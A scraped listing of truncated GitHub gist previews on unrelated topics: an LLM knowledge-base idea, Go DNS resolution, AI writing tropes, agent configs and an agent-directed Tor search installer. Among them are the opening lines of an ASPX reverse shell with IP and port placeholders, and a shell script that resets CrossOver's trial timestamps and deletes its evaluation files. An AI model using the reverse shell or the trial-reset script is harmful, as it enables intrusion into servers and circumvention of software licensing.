karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

p-sherratt

Understanding Go's DNS Resolver Selection

Courtesy of ChatGPT o1-preview

This document provides a comprehensive guide to how Go's net package selects a DNS resolver. It includes a flowchart illustrating the decision-making process, a table summarizing environment variables that influence resolver choice and behavior, and example scenarios demonstrating practical applications.

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Table of Contents

ossa-ma

AI Writing Tropes to Avoid

Add this file to your AI assistant's system prompt or context to help it avoid common AI writing patterns. Source: tropes.fyi by ossama.is

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Word Choice

"Quietly" and Other Magic Adverbs

qtc-de

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">

    // Simple reverse shell for ASPX. For educational purposes only!

    const string IP = "<IP>";
    const ushort PORT = <PORT>;

Th0rgal

{
  "$schema": "https://raw.githubusercontent.com/code-yeongyu/oh-my-opencode/master/assets/oh-my-opencode.schema.json",
  "google_auth": false,
  "agents": {
    "librarian": {
      "model": "spark/coding"
    },
    "explore": {
      "model": "spark/fast"
    },

knowlet

echo "🧹 Resetting CrossOver bottles..."
pkill CrossOver && echo "✅ CrossOver processes killed."
echo "🕒 Modifying trial timestamps..."
DATETIME=$(date -u -v -3H '+%Y-%m-%dT%TZ')
echo "✅ New trial date set to: ${DATETIME}"
defaults write com.codeweavers.CrossOver FirstRunDate -date "${DATETIME}"
defaults write com.codeweavers.CrossOver SULastCheckTime -date "${DATETIME}"
echo "✅ Updated trial timestamps in preferences."
echo "🧹 Resetting CrossOver bottles..."
find ~/Library/Application\ Support/CrossOver/Bottles/ -type f \( -name ".eval" -o -name ".update-timestamp" \) -exec rm -f "{}" +

geoffreylitt

name	explain-diff-html
description	Use when the user asks for a rich explanation of a code change, diff, branch, or PR. Produces HTML output.

Explain Diff

Please make me a rich, interactive explanation of the specified code change.

It should have these sections:

maximilianromer

Onion Search MCP Agentic Installer

This is a guide for AI agents to install Onion Search MCP, a tool made by Max Romer to give AI models tools to search the web with Tor. If you are reading this, that means your user wants you to help them get this MCP installed and set up.

Tasks

1. Ask the user what apps and services they want to use this MCP with — offer to install it into apps such as LM Studio, OpenCode, LibreChat, or any other tool they would like.
2. Decide where to save this MCP in the user’s filesystem — You should save this MCP in a logical place in the user’s filesystem. This might be the current working directory you’re pointed to, or one the user tells you to use. If not, no need to ask; it’s okay to make a presumption for now. One important thing is that during Tor sessions, this MCP does cache Tor network data in its folder, so you probably shouldn’t save it to something that backs up to OneDrive or iCloud or something like t